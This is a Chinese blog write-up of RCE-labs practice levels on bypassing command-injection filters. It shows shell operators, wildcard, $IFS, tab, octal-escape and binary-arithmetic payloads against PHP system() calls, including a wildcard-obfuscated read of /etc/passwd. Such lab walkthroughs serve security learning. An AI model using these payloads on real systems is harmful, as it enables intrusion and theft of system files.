RCELABS-3:基础命令执行
RCELABS-4:Shell运算符
![]() |
||
---|---|---|
&&(逻辑与) | 第一个命令执行成功返回值为0,才执行后面的命令 | |
|| (逻辑或) |
第一个命令执行失败返回值不为0,才执行后面的命令 | |
&(后台运行符) | 1命令放后台执行,立即执行2命令 | |
| (管道符) |
将| 前当做输入,或直接执行| 后的命令 |
|
;(命令分隔符) | 无论1命令是否成功,都执行2命令 |
system函数执行ping命令,ping你get传进去的ip地址,所以如果在传ip值的后面加上分号,就能在分号之后执行cat /flag
?ip=;cat /flag
;确保无论ping是否成功,都会执行cat命令
RCELABS-5:通配符、
* | 匹配零个或多个字符 | *.txt |
? | 匹配单个字符 | file?.txt |
[] | 匹配方括号内的任意一个字符 | file[1-3].txt |
[^] | 匹配不在方括号内的字符 | file[^a-c].txt |
{} | 匹配大括号内的任意一个字符串 | file{1,2,3}.txt |
用于绕过一些简单的过滤
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
?cmd=cat /f*
if语句会检测$cmd中的flag,输入?cmd=cat /flag会触发检测
f*匹配以f开头的文件
RCELABS-6:字符过滤与路径通配
for ($i=32;$i<127;$i++){
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($i))){
echo chr($i)." ";
}
}
- ?可以匹配任意一个单字符,但是?作为通配符只在路径有效
- 找到cat命令程序的路径,通过路径访问cat就可以了
?cmd=/???/?a? /??a?
匹配/bin/cat /flag(???匹配bin,?a?匹配cat, /??a?匹配 /flag)
或者用base64命令编码输出
?cmd=/???/?a??64 /??a?
RCELABS-7:空格过滤绕过
- URL编码Tab:%09
?cmd=cat%09/f*
- 环境变量IFS:$IFS
$IFS默认包含空格、制表符,可替代空格分隔参数
?cmd=cat$IFS/f*
RCELABS-8:文件描述与重定向
重定向语法
- command > /dev/null:屏蔽标准输出
- 2>&1:将错误输出重定向到标准输出
- 组合使用:command > /dev/null 2>&1
system($cmd.">/dev/null 2>&1");
将执行输入的命令并将输出和错误输出都重定向到/dev/null中,所以没回显
解题思路
命令分隔符将前后命令分开,?cmd=cat /flag ;
RCELABS-9:八进制转义
解题思路
!#$&'()0123456789<_{}~
只能用这些字符构造payload
使用$'\xxx'解析八进制ASCII码
?cmd=$'\143\141\164' $'\57\146\154\141\147'
cat:$'\143\141\164'
/flag:$'\57\146\154\141\147'
RCELABS-10:二进制整数替换
- 二进制转义:$((2#binary))
- 替代2的方法:$((1<<1))(左移运算)
$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
ls的二进制转义
用工具直接梭cat /flag
再url编码再传值,得到答案
作者:晨星安全团队--SD9ard3n
版权所有:晨星交流
文章标题:RCE-labs 练习:命令执行绕过技巧(二)
文章链接:https://morningstar.xin/?post=70
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:RCE-labs 练习:命令执行绕过技巧(二)
文章链接:https://morningstar.xin/?post=70
本站文章均为原创,未经授权请勿用于任何商业用途